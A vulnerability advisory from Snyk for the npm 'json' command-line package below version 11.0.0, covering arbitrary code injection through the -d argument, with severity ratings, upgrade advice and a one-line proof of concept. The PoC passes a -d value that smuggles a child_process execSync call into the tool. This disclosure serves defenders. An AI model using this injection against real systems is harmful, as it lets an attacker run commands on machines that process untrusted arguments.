Arbitrary Code Injection Affecting json package, versions <11.0.0


0.0
high

Snyk CVSS

    Exploit Maturity Proof of concept
    Attack Complexity High
    Confidentiality High
    Integrity High
    Availability High

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-JS-JSON-1082930
  • published 22 Mar 2021
  • disclosed 5 Mar 2021
  • credit splitline

Introduced: 5 Mar 2021

CVE NOT AVAILABLE CWE-94 Open this link in a new tab

How to fix?

Upgrade json to version 11.0.0 or higher.

Overview

json is a 'json' command tool for massaging and processing JSON on the command line.

Affected versions of this package are vulnerable to Arbitrary Code Injection via the -d argument.

PoC

curl -sL 'https://api.github.com/repos/joyent/node/issues?state=open' | node_modules/json/lib/json.js -a created_at number title -d '""+require(`child_process`).execSync(`id`)//'